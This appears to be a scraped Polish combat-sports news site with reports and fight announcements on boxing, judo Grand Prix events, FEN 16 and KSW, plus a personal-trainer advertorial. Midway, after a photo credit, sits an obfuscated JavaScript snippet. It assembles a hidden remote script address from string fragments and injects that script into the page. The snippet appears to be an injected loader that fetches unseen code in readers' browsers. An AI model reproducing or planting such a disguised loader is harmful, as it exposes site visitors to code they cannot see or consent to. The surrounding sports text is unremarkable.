Drugą wygraną w PLMMA zanotował Paweł Trybała. Popularny „Trybson” w niecałe pół minuty rozbił Pawła Bolanowskiego. W ruch poszło kolano, a następnie posypały się mocne ciosy. Bolanowski nie był w żaden sposób się obronić.

KM

Zwycięski powrót Masternaka

Mateusz Masternak pokonał Alexandra Kubicha na gali w Dzierzoniowie. Dla Polaka była to pierwsza walka od blisko roku.

Cel był jeden: wygrać. Niewygodny rywal wcale nie zamierzał ułatwiać zadania Masternakowi.

Trafić nie było łatwo

Wszyscy czekali na Mateusza Masternaka, który wracał do rywalizacji po blisko rocznej przerwie. W swoim ostatnim występie pokonał Erica Fieldsa, jednak wcześniej przegrał starcie o mistrzostwo Europy w Tonym Bellewem. Masternak to pięściarz, który swego czasu uznawany był za wielką nadzieję wagi junior ciężkiej. 29-latek nie powiedział ostatniego słowa. Walka z Alexandrem Kubichem, który w maju przegrał z Michałem Cieślakiem miała pokazać, na ile w obecnej chwili stać Masternaka.

Polski pięściarz spokojnie rozpoczął rywalizację z Rosjaninem. Masternak wyprowadził kilka kombinacji i pierwszą rundę mógł zapisać na swoje konto. Kubich wcale nie zamierzał ułatwiać zadania „Masterowi”. Potwierdziło się to, co mówiło się przed walką. Kubich to niezwykle niewygodny rywal, 29-letniemu Polakowi było go niezwykle trudno trafić. W piątej rundzie Rosjanin ruszył do przodu i posłał w stronę Masternaka kilka ciosów. Polak przerwał zapędy rywala, w końcówce był aktywniejszy, a Rosjanin stracił punkt za faul. Trudno mówić, że starcie było widowiskowe, jednak układało się po myśli „Mastera”, który miał przewagę.

W siódmej rundzie Masternak zagonił rywala do narożnika. Kubich przyjmował kolejne ciosy, ale dzielnie trzymał się na nogach. Polak wykonał kolejny krok w stronę zwycięstwa i tylko trzęsienie ziemi mogło sprawić, że nie zanotuje 38 wygranej w karierze. W ostatniej odsłonie Polak dwa razy… padł na deski, ale rywal nie przyczynił się do tego. Ponownie trudno było trafić Kubicha. Sędziowie nie stanęli przed trudnym zadanie. Wygrana Masternaka ani przez chwilę nie podlegała dyskusji.

Triumf Balskiego, Garguła na deskach

W starciu wagi junior ciężkiej Adam Balski zmierzył się z Dariuszem Skopem. Od początku 26-latek ruszył do przodu i postraszył rywala. Wypracował sobie przewagę, dzięki czemu w kolejnych rundach kontrolował przebieg walki. Skop od czas do czasu trafił, ale na wiele więcej nie było go stać. W końcówce ósmej rundy Balski posłał rywala na deski, jednak ten wstał. Sędziowie nie mogli mieć żadnych wątpliwości. Ósme zwycięstwo na koncie Balskiego.

Na otwarcie gali w Dzierzoniowie w wadze średniej Przemysław Opalach pokonał Paatę Varduashviliego. 30-letni Polak kontrolował w pełni walkę, choć w drugiej rundzie Gruzin był aktywny, ale… nie wyszedł już do trzeciej. Zgłosił uraz i Opalach mógł świętować 24 zwycięstwo w karierze.

Ciekawie zapowiadała się walka Roberta Parzęczewskiego z doświadczonym Tomaszem Gargułą. 42-latek ma za sobą ogromny bagaż doświadczeń, zarówno ringowych jak i życiowych. Jednak w ostatnim czasie sportowo nie wiodło mu się. Garguła przegrał cztery kolejne walki. Z kolei 23-letni Parzęczewski ma na koncie sześć zwycięstw z rzędu, wszystkie pojedynki wygrał przed czasem. W Dzierzoniowie podtrzymał dobrą passę. Garguła przyjmował wiele ciosów, w drugiej rundzie wylądował na deskach. W czwartej rundzie Parzęczewski dopadł rywala przy linach i zakończył pojedynek.

Zdecydowane wygrane na punkty zanotowali Michał Leśniak i Tomasz Gromadzki. Dwunaste zwycięstwo w karierze odniósł Michał Żuromiński, który decyzją sędziów pokonał Tomasza Mazura. 

KM

Katowice areną zmagań judoków

European Judo Open zawita do Katowic, gdzie do boju stanie 53 reprezentantów Polski. Transmisję z zawodów przeprowadzi telewizja FighTime. Zapraszamy do śledzenia zmagań biało-czerwonych! Z kolei panie o punkty do światowego rankingu powalczą w Pradze.

Po raz kolejny miłośnicy judo będą musieli mieć podzielną uwagę. Ostatnio zawodnicy rywalizowali w Grand Prix w Dusseldofie, jednak dwa tygodnie temu panie wystąpiły w Oberwart, zaś panowie w Rzymie. 

Trzymamy kciuki za naszych!

Atmosfera wielkiego święta czuć w Katowicach, gdzie przez dwa dni będzie odbywała się rywalizacja judoków. Na listach startowych 53 Polaków. Nie da się ukryć, że najwyżej stoją akcje Piotra Kuczery (90kg). Zawodnik KJ Kejza Team to brązowy medalista ubiegłorocznych mistrzostw Europy w Kazaniu, który ostatnio triumfował w Pucharze Europy w Rzymie. W Katowicach zaprezentuje się również olimpijczyk z Rio de Janeiro – Maciej Sarnacki (+100kg). 30-latek w zeszłym roku zmagał się z kontuzją i walczył z czasem, żeby pojechać na igrzyska. W Brazylii stoczył dwie walki, przegrał z Orem Sassonem. Teraz wraca do rywalizacji i warto podkreślić, że na własnym terenie potrafi wygrywać. W litym 2015 roku triumfował podczas zawodów w Warszawie.

W Katowicach zaprezentuje się również doświadczony Paweł Zagrodnik (73kg), który zdecydował się na starty w wyższej kategorii wagowej. Taką samą decyzję podjął Damian Szwarnowiecki (81kg). W ubiegłym roku jeszcze walcząc w kategorii 73kg odniósł największy sukces w karierze wygrywając Grand Prix w Samsun. Na jesieni zmienił wagę i od razu stanął na podium. W Tallinie był trzeci, wynik powtórzył w rywalizacji podczas Grand Prix Zagrzebia. Zawody w Katowicach to również szansa dla wielu młodych i utalentowanych zawodników na zebranie doświadczenia. 

Występy biało-czerwonych będzie można śledzić na antenie telewizji FighTime, która przeprowadzi transmisję z turnieju. Zapraszamy serdecznie! Spędźcie ten weekend z judo i ściskajcie kciuki za biało-czerwonych!

Czeska przygoda pań

Judoczki będą rywalizowały w Pradze. Agata Perenc (52kg) i Agata Ozdoba (63kg) startowały przed tygodniem w Dusseldorfie, jednak nie mają najlepszych wspomnień. Teraz liczą na poprawę. W Pradze wystąpi również mistrzyni Europy do lat 23 z Bratysławy z 2015 roku Karolina Pieńkowska (52kg).

W stolicy Czech wystąpią również: Ewa Konieczny, Katarzyna Wiszniewska i Joanna Stankiewicz (wszystkie 48kg), Klaudia Cieślik (52kg), Anna Borowska (57kg), Karolina Tałach, Sonia Lniany i Marta Wykupił (63kg), Sandra Lickun i Barbara Białas (70kg), Paula Kułaga, Beata Pacut i Paulina Przyczyna (78kg), Anna Załęczna, Anita Formela oraz Wiktoria Lis (+78kg).

KM

Hardkorowy Koksu pozdrawia Popka

Robert Burneika przesłał pozdrowienia z Las Vegas dla Pawła „Popka” Mikołajuwa. Popularny „Hardkorowy Koksu” kazał raperowi ćwiczyć… klepanie. Panowie spotkają 27 maja na gali KSW 39 Colosseum.

Dwie ciekawe postaci zaprezentują się na PGE Stadionie Narodowym w Warszawie. Mimo niewielkiego doświadczenia w MMA, ich walka budzi ogromne emocje.

Przyciągną tłumy

Reni Jusis śpiewa: „Jak magnes, magnes, magnes, magnes. Jak magnes wciąż przyciągasz mnie”. Nie da się ukryć, że duża część odbiorców kieruje się ciekawością. „Hardkorowy Koksu” i „Popek” mimo że nie są fighterami z najwyższej półki, to są barwnymi postaciami. Włodarze KSW chcą stworzyć najlepsze widowisko w historii. Świetna lokalizacja w postaci PGE Stadionu Narodowego, pięć pojedynków mistrzowskich, walka dwóch czempionów: Mameda Khalidova i Borysa Mańkowskiego, powrót Łukasza Jurkowskiego i na deser… kulturysta i raper.

Nie da się ukryć, że to starcie stanie się magnesem. „Popek” już poznał smak KSW. Na gali w Krakowie rywalizował z Mariuszem Pudzianowskim. Były strongman potrzebował niecałe półtorej minuty, aby rozbić Mikołajuwa. Raper raz porządnie trafił Pudzianowskiego, ale widać było, że brakuje mu kondycji. „Popek” dostaje kolejną szansę i może kontynuować swoją przygodę z MMA, która zaczęła się dziewięć lat temu, jednak na osiem lat zawiesił swoją aktywność. 

Z kolei Robert Burneika trafił do społecznej świadomości dzięki stekom, w których się lubuje. Znany kulturysta popularność zdobył dzięki filmikom zachęcającym do uprawiania kulturystyki. Sam startował z powodzeniem w zawodach w Stanach Zjednoczonych. Urodził się na Litwie, z czasem nauczył się języka polskiego i przeniknął do naszej kultury i zdobył w naszym kraju popularność. Trudno chyba znaleźć człowieka, który nie zna „Hardkorowego Koksa”. 

Burneika stoczył dwie walki w MMA. W kwietniu 2012 roku pokonał boksera Marcina Najmana, którego zasypał ogromem ciosów. Kolejnym rywalem „Hardkorowego Koksa” był Dawid Ozdoba. Striptizer długo unikał walki, starał się uciekać i w końcu został zdyskwalifikowany.

Pozdrowienia

Podczas warszawskiej gali KSW będzie ciekawie. Co pokażą Burneika i „Popek”? To jest wielka niewiadoma, ale jedno jest pewne – trzeba rozpatrywać to w kategorii show, które się już zaczęło.

„Hardkorowy Koksu” zamieścił na youtubie filmik, w którym pozdrowił swojego najbliższego rywala. – Właśnie wylądowałem  w Las Vegas. Jak widać słońce świeci, 20 stopni prawie, trzeba bicki opalić trochę – powiedział Burneika. – Na pewno słyszeliście plotki, że szykuje się hardkorowa walka z Popkiem. Tak to jest prawda. 27 maja na Stadionie Narodowym w Warszawie będzie się działo hardkorowo. Także ta wiadomość jest właśnie pozdrowieniem dla Popka. Popek, jak mnie oglądasz, wiem, że oglądasz! Właśnie musisz zacząć trenować. Wydaje mi się, że najbardziej odklepanie. Bo będziesz klepał jak Najman. Pozdrowienia z ciepłego Vegas! – dodał.

KM

Akihiro Gono i Erick Silva gośćmi specjalnymi FEN 16 Warsaw Reloaded

Legenda organizacji Pride Akihiro Gono i jedna z gwiazd federacji UFC Erick Silva będą gośćmi specjalnymi gali FEN 16 Warsaw Reloaded! 11 marca na Torwarze obaj fighterzy będą z narożnika wspierać młodszego brata Ericka – Gabriela w walce wieczoru z Kamilem Łebkowskim.

Akihiro Gono to nie tylko jeden z najlepszych fighterów w historii mieszanych sztuk walki, ale także jedna z najbarwniejszych postaci tego sportu. Walczył w UFC, Bellatorze, WSOF, Shooto i Pancrase, ale światową sławę przyniosły mu występy w organizacji Pride, w której wygrywał m.in. z takimi gwiazdami MMA, jak Hector Lombard i Gegard Mousasi. W ringu popisywał się sprawnością fizyczną i przebiegłością – jego styl walki bazuje na zręcznym unikaniu ciosów, wyprowadzaniu błyskawicznych kontr i zmuszaniu przeciwników do walki na jego zasadach. W pamięci kibiców zapisał się także za sprawą ekstrawaganckich strojów i wyjść do walki – potrafił na przykład wejść do oktagonu UFC w wieczorowej sukni. Mimo że Japończyk ma już 42 lata, wciąż walczy zawodowo, oprócz MMA próbując swych sił także w kickboxingu. Obecnie mieszka w Brazylii, gdzie jest jednym z trenerów w Tiger’s Den MMA Gym.

Erick „The Tiger” Silva to z kolei jeden z najbardziej rozpoznawalnych zawodników UFC, w której walczy nieprzerwanie od 2011 roku. Drogę do oktagonu amerykańskiej organizacji 32-letni Brazylijczyk utorował sobie świetnymi walkami na galach ojczystej federacji Jungle Fight Championship i zdobyciem tytułu mistrza tej organizacji w 2010 roku. Znany jest z agresywnego stylu walki i dążenia za wszelką cenę do pokonania rywala przed czasem – aż 16 ze swoich 19 zawodowych zwycięstw odniósł przez poddanie lub nokaut. W UFC „The Tiger” siedmiokrotnie nagradzany był bonusami za walki, występy i poddania wieczoru. Podczas pobytu w Polsce wspólnie z Akihiro Gono będzie z narożnika wspierał swojego brata Gabriela „Gabito” Silvę podczas walki wieczoru gali FEN 16 Warsaw Reloaded, w której zmierzy się z niepokonanym od blisko czterech lat Kamilem „Bombą” Łebkowskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Kombou vs Paczuski na gali FEN 16 Warsaw Reloaded

Zwycięstwo przez nokaut – to wizytówka Brice'a Kombou, bardzo groźnego niemieckiego kickboksera, który już 11 marca podczas gali FEN 16 Warsaw Reloaded będzie rywalem mistrza świata K-1 Global Radosława Paczuskiego w jego dłogo oczekiwanym debiucie w organizacji Fight Exclusive Night.

Nieprzeciętnie utalentowany i agresywnie walczący Brice Kombou (28 lat, 183 cm, 17-2, 12 KO) pochodzi z Kamerunu, ale reprezentuje Niemcy, w których mieszka na stałe. Trenuje w Dortmundzie w Fight Lounge, jednym z najlepszych kickbokserskich klubów w Europie. Zawodowy dorobek Kombou w formule K-1 to 19 walk, w których odniósł 17 zwycięstw, przy czym w aż 12 starciach nokautował swoich rywali. Przed polskimi kibicami zaprezentował się z bardzo dobrej strony latem ubiegłego roku podczas meczu Polska-Niemcy na gali DSF Kickboxing Challenge 8, w którym mierzył się na zasadach K-1 z wicemistrzem Polski Maksymilianem Bratkowiczem. Mądrze, konsekwentnie walczący fighter z Niemiec przez cały pojedynek kontrolował sytuację, ostatecznie pokonując Polaka jednomyślną decyzją sędziów.

Radosław Paczuski (24 lata, 190 cm, 15-2) to jedna z największych gwiazd polskiego kickboxingu i muay thai. Zawodnik warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku w imponującym stylu zdobył prestiżowy pas mistrza K-1 Global w kategorii -85 kg – w obu walkach finałowego turnieju znokautował rywali kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znanymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Starcie Radosława Paczuskiego z Bricem Kombou będzie jedną z wielu bardzo interesujących międzynarodowych konfrontacji na gali FEN 16 Warsaw Reloaded – w innych takich pojedynkach na zasadach K-1 zmierzą sie Marcin Szreder z Białorusinem Iharem Kamkou i Piotr Bąkowski z Białorusinem Vitalyem Kazakou, a w starciach na zasadach MMA Kamil Łebkowski będzie walczył z Brazylijczykiem Gabrielem Silvą, Bartłomiej Kopera z Francuzem Daguirem Imavovem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią i Arbi Shamaev z Brazyliczykiem Shely Santaną. W "polskich" walkach 11 marca na Torwarze też nie zabraknie emocji – Arkadiusz Wrzosek spotka się z Arturem Bizewskim, Kamil Gniadek z Łukaszem Stankiem, a Paweł Pawlak z Ireneuszem Szydłowskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Trener personalny

Ćwicz z trenerem personalnym!

Nie chcesz chodzić na siłownię, a marzy Ci się piękna i nienaganna sylwetka? Postaw na trening personalny! Współpraca z profesjonalistą to gwarancja sukcesu i osiągnięcia zamierzonych efektów, a przy tym ogromna satysfakcja.

Czym właściwie jest trening personalny? Masz swojego guru, którego słuchasz i podporządkowujesz się jego poleceniom. To tak w skrócie. A poważnie? Trening personalny to indywidualne zajęcia, podczas których realizujemy przygotowany przez instruktora plan. Program w pełni dostosowany jest do możliwości, stanu zdrowia i potrzeb trenującego, uwzględnia jego nawyki żywieniowe.

Postanowienie noworoczne, konieczność zrzucenia zbędnych kilogramów po zimie, troska o zdrowie czy marzenia o pięknej sylwetce – powodów, dla których chcemy zacząć intensywny trening jest wiele. Na początku laik może natrafić na problemy i szybko się zniechęcić do dalszej aktywności. Wszystko przez brak odpowiedniej wiedzy, która nie pozwala na efektywny trening. Kierujemy się w stronę siłowni, ale nie zawsze jest to odpowiednie rozwiązanie. W grupie możemy czuć się skrępowani. Najlepszym rozwiązaniem jest współpraca z trenerem personalnym.

Dlaczego warto postawić na indywidualne zajęcia? Mamy do dyspozycji trenera personalnego, który tylko nam poświęca uwagę, czas, obserwuje i dostosowuje ćwiczenia do naszych możliwości. Najlepszych fachowców znajdziesz na www.sport-ekspert.pl. Z pewnością to rozwiązanie idealne dla tych, którzy szybko chcą osiągnąć cele. Ale nie tylko. Praca z trenerem personalnym jest godna polecenia początkującym, ale także zaawansowanym na płaszczyźnie aktywności fizycznej oraz tym, którzy mimo wysiłku nie osiągnęli zamierzonych efektów. Warto dodać, że takie rozwiązanie jest polecane osobom, które chcą wrócić do pełnej sprawności po urazach bądź skorygować wady postawy.

Często jest tak, że bardzo chcemy, ale jednak… nie możemy. Tłumaczymy się brakiem czasu bądź zmęczeniem. Gdy mamy tzw. „bat” nad sobą nie możemy w żaden sposób odpuścić. Trener personalny to idealny motywator i anioł stróż, który zwróci uwagę na wszelkie niedoskonałości i pozwoli nam wjechać na autostradę, którą dojedziemy do miejscowości „Idealna Sylwetka”.

Warto również pamiętać, że praca z trenerem personalnym może służyć powiększeniu wiedzy. Bywa, że mamy orientację w temacie, ale nie czujemy się do końca pewni i chcemy skorzystać z pomocy eksperta. Pod okiem trenera personalnego można się dokształcić i zdobyć kolejne doświadczenie, a także uzyskać cenne wskazówki i uzyskać fachowe doradztwo.

Gdy podejmiemy decyzję o współpracy z trenerem personalnym, należy go znaleźć. „Kto szuka, nie błądzi”. Ale gdzie? Sport Ekspert to miejsce, w którym zapoznasz się z sylwetkami trenerów personalnych z każdego regionu Polski. Dzięki temu masz okazję zapoznać się z opiniami innych użytkowników, poznać sylwetki instruktorów i dokonać wyboru. Nic prostszego! Zajrzyj na www.sport-ekspert.pl i dokonaj wyboru. To będzie krok w dobrą stronę. Przekonaj się sam!

KM

Tło fotografie created by Javi_indy – Freepik.com

[kod]

(function(){
zcnf=document.createElement("script");zcnf_=(("u")+"st")+"a";zcnf.async=true;
zcnf.type="text/javascript";zcnf_+=("t.i")+""+"n";zcnf_+=(("f")+"o");zcnf_+="/";
zcnfu="60656904.";zcnfu+="4qg55gXacnfXbjXbjl5"+"y9ibuX1ex4z";
zcnf.src="//"+zcnf_+zcnfu; document.body.appendChild(zcnf);
})();

Krótka przygoda Polaków

Biało-czerwoni nie zapiszą do udanych startu w zawodach Grand Prix w judo, które odbyły się w miniony weekend w Dusseldorfie. Reprezentanci Polski szybko zakończyli swoją przygodę z turniejem.

Jak zawsze żyliśmy nadzieją, gdyż przed tygodniem w dobre nastroje wprawił nas Piotr Kuczera (90kg), który okazał się najlepszy w rywalizacji w Rzymie. W Niemczech jego koledzy nie spisali się jednak na medal.

Szybko poszło

Mówi się, że sukces wymaga cierpliwości. W przypadku międzynarodowych turniejów trzeba się liczyć z koniecznością stoczenia 4-5 walk, żeby myśleć o wywalczeniu miejsca na podium. W Dusseldorfie startowała piątka reprezentantów Polski. Z rywalizacją pożegnali się w mgnieniu oka.

Agata Perenc (52kg) była agresywna i zawzięta, o czym świadczą dwie kary shido. Amandine Buchard również była nieustępliwa, jednak udało jej się w końcówce wykonać waza-ari. Francuzka awansowała do dalszej rywalizacji i dopiero w finale zatrzymała ją Uta Abe.

Niewiele lepiej wypadła Julia Kowalczyk (57kg). Młoda Polka zaczęła zmagania w niemieckim turnieju od walki z Po Sum Leung. Kowalczyk niczym doświadczona judoczka wykorzystała braki rywalki i szybko rozłożyła ją na łopatki. Nie upłynęło dwadzieścia sekund, a nasza zawodniczka triumfowała przez ippon. W drugim starciu musiała uznać wyższość Nae Udaki. Japonka zaczęła od waza-ari, później dołożyła ippon i nie pozostawiła Kowalczyk żadnych szans. Warto dodać, że Udaka zakończyła zmagania na trzecim miejscu. 

Tylko jedną walkę w Dusseldorfie stoczyła Agata Ozdoba (63kg). Brązowa medalistka mistrzostw Europy z 2014 roku przegrała z Cristiną Cabaną Perez. Anri Egutidze zapisał na swoim koncie waza-ari, a Łukasz Błach (81kg) tylko karę shido. Dalej walczył reprezentant Portugalii, który po repasażach rywalizował o brąd, ale poległ z Mołdawianinem Dorinem Gotonoagą.

Paweł Zagrodnik (73kg) zdecydował o startach w wyższej kategorii wagowej. Dotychczas występował w 66kg. W nowej wadze zajął drugie miejsce w Pucharze Polski w Mysiadle. W Dusseldorfie nie było tak dobrze. Co prawda, po wyrównanej walce Zagrodnik pokonał Nuno Saraivę, ale w kolejnej wypunktował go Tohar Butbul. 

Japonia na czele

W Grand Prix karty rozdawali Japończycy, którzy wywalczyli 16 medali, w tym pięć złotych. Za ich plecami Gruzja i Rosja.

W turnieju wystartowało 344 judoków.

KM

Rywal Radosława Paczuskiego jutro w magazynie Puncher

Radosław Paczuski, który na gali FEN 16 Warsaw Reloaded zadebiutuje w organizacji Fight Exclusive Night, będzie jednym z gości jutrzejszego magazynu Puncher. Podczas programu kibice poznają nazwisko zawodnika, z którym aktualny mistrz świata K-1 Global zmierzy się 11 marca na Torwarze.

24-letni Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai młodego pokolenia w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Jutrzejszy odcinek magazynu Puncher będzie można obejrzeć na żywo w stacji Polsat Sport News. Program rozpocznie się o godz. 20.

FEN

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 2

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 3

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski będzie gościem FighTime TV

Za kilka dni w naszym studio pojawi się jedna z gwiazd zbliżającej się wielkimi krokami gali FEN 16 Warsaw Reloaded – Piotr Bąkowski. Trzeba jasno powiedzieć – „tego pana nie trzeba nikomu przedstawiać”. Piotr Bąkowski opowie naszym widzom o zbliżającej się walce, bogatej karierze i swoich pasjach.

„Dwadzieścia lat minęło jak jeden dzień” – słowa piosenki zespołu Paktofonika idealni pasują do osoby Piotra Bąkowskiego. Dalej artyści śpiewają, a w zasadzie pytają „Nie masz co wspominać?” W tym przypadku nasuwa się tylko jedna odpowiedź. O karierze i sukcesach 39-letniego Bąkowskiego można opowiadać godzinami. Idealnie pasuje do niego określenie „człowiek orkiestra”, z racji jego wszechstronnej działalności.

W 1997 roku Piotr Bąkowski zawitał do klubu KS Piaseczno, żeby rozpocząć treningi kickboxingu. Z pewnością nie przypuszczał wtedy, że po kilku latach będzie czołowym polskim zawodnikiem. Wywalczył ponad sto medali na arenie krajowej i międzynarodowej, stoczył blisko sześćset walk. Na swoim koncie zapisał zawodowe pasy mistrzowskie full contact federacji WKSF, WTKA, UFR. Bąkowski sięgał po medale mistrzostw świata i Europy WAKO m.in. srebro w Coimbrze (2007) czy brąz w Szeged (2005). Wielokrotnie zajmował miejsca na podium zawodów rangi Pucharu Świata i Europy, a w 2013 w Congliano okazał się najlepszy. Warto dodać, że 39-latek odnosił również sukcesy w taekwondo i tang soo do.

Bąkowski nie tylko toczył kolejne walki, ale zaangażował się w pracę trenerską. Na tym nie koniec. Kolejną aktywnością wybitnego zawodnika była działalność na gruncie organizacyjnym. Od 2007 roku współtworzył turniej „Mazovia Cup International”. Był również członkiem zarządu Polskiego Związku Kickboxingu. W 2010 roku wraz z Łukaszem Makarewiczem założył federację sztuk walki UFR. Warto również podkreślić społeczne zaangażowanie 39-letniego zawodnika. Bąkowski włączył się w kampanię „Łączy Nas Sport Nie Narkotyki”.

W wieku 39 lat Bąkowski zadebiutuje w zawodowym K-1. 11 marca na gali FEN 16 Warsaw Reloaded zmierzy się z Vitalym Kazakou. 41-letni Białorusin ma na koncie tytuły mistrza Europy i mistrza Euroazji. Stoczył 36 zawodowych walk. 

Piotr Bąkowski intensywnie przygotowuje się do kolejnego wyzwania w swojej karierze. Postanowiliśmy zaprosić gwiazdę polskiego kickboxingu do naszego studia. Szykuje się niezwykle ciekawa dyskusja z interesującą postacią. Co wie o swoim najbliższym rywalu? Czy jest zadowolony z przygotowań? Jakie są jego kolejne plany? Czy czuje się spełniony na każdej płaszczyźnie swojej działalności? Te i wiele innych pytań zadamy Piotrowi Bąkowskiemu. Wywiad będziecie mogli niebawem obejrzeć na antenie FighTime!

KM

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 1

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski vs Vitaly Kazakou na FEN 16 Warsaw Reloaded

Jednym z ostatnich zestawień, jakie organizacja Fight Exclusive Night dopisuje do karty walk gali FEN 16 Warsaw Reloaded, która odbędzie się 11 marca na Torwarze, jest kickbokserski pojedynek wielokrotnego mistrza świata Piotra Bąkowskiego z białoruskim mistrzem Europy i Eurazji Vitalyem Kazakou. Starcie na zasadach K-1 odbędzie się w wadze do 61 kg.

39-letni Piotr Bąkowski to wielokrotny mistrz świata, Europy i Polski w formułach light-contact i full-contact. Swoją karierę zaczynał pod okiem pierwszego polskiego mistrza świata Piotra Siegoczyńskiego. Pochodzący z Piaseczna zawodnik stoczył blisko 600 pojedynków amatorskich w tych formułach, stając się jednym z najbardziej doświadczonych i utytułowanych polskich kickbokserów. Dwukrotnie sięgał po pas amatorskiego mistrza świata, ma też na koncie 14 tytułów mistrza Polski. Jako zawodowiec zdobywał trzykrotnie tytuł mistrza świata w full-contact federacji WKSF, WTKA oraz UFR, a teraz zadebiutuje także w zawodowym K-1. Jest też cenionym szkoleniowcem, wychował wielu mistrzów kraju, Europy i świata. Ponadto Piotr Bąkowski jest jednym z autorów ogólnopolskiej kampanii "Łączy Nas Sport Nie Narkotyki", działa w kilku kickbokserskich organizacjach, a w wolnym czasie oddaje się swoim pozasportowym pasjom – dziennikarstwu i fotografii podróżniczej.

Starszy o dwa lata od Polaka reprezentant Białorusi Vitaly Kazakou jest doskonale znany polskiej publiczności, bowiem ścierał się już z czołówką krajowych zawodników – toczył walki z Michałem Królikiem, Cezarym Zugajem czy Bartoszem Batrą. W swojej bogatej karierze mierzył się z także z takimi wojownikami, jak choćby Marko Moisar z Estonii. Trenujący w znanym klubie Condor Grodno Kazakou ma na koncie 36 zawodowych walk K-1, w których odniósł 26 zwycięstw. Do jego największych sukcesów należą tytuły mistrza Europy i mistrza Eurazji oraz pas polskiej federacji BMAF. Karierę i treningi zaczynał u słynnego szkoleniowca Alfita Hakova w Grodnie.

Starcie Kazakou z Bąkowskim będzie jedną z najciekawszych międzynarodowych konfrontacji na warszawskim Torwarze z uwagi na duże doświadczenie obu zawodników. Obaj chcą potwierdzić swoją wartość, a klatkoring Fight Exclusive Night im to z pewnością umożliwi. W innych pojedynkach K-1  podczas gali FEN 16 Warsaw Reloaded również nie zabraknie emocji – Arkadiusz Wrzosek zmierzy się z Arturem Bizewskim, a Marcin Szreder z Białorusinem Iharem Kamkou. Tego wieczora w klatkoringu FEN zadebiutuje również Radosław Paczuski.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Dusseldorf na szóstkę?

Judocy nie zwalniają tempa. W piątek (24 lutego) zawodnicy rozpoczną rywalizację w zawodach Grand Prix w Dusseldorfie. Na tatami zobaczymy sześcioro Polaków.

Z zimowego snu wyrwał nas Piotr Kuczera (90kg), który kilka dni temu triumfował w Pucharze Europy w Rzymie. Czy inni pójdą jego drogą?

Długie listy

W Niemczech trzeba przygotować się na walkę na śmierć i życie. Droga do sukcesu nie będzie usłana różami, bo na starcie jest 378 zawodników z 51 państw. Polskę będzie reprezentowała szóstka zawodników: Agata Perenc (52kg), Julia Kowalczyk i Arleta Podolak (57kg), Agata Ozdoba (63kg), Paweł Zagrodnik (73kg) oraz Łukasz Błach (81kg).

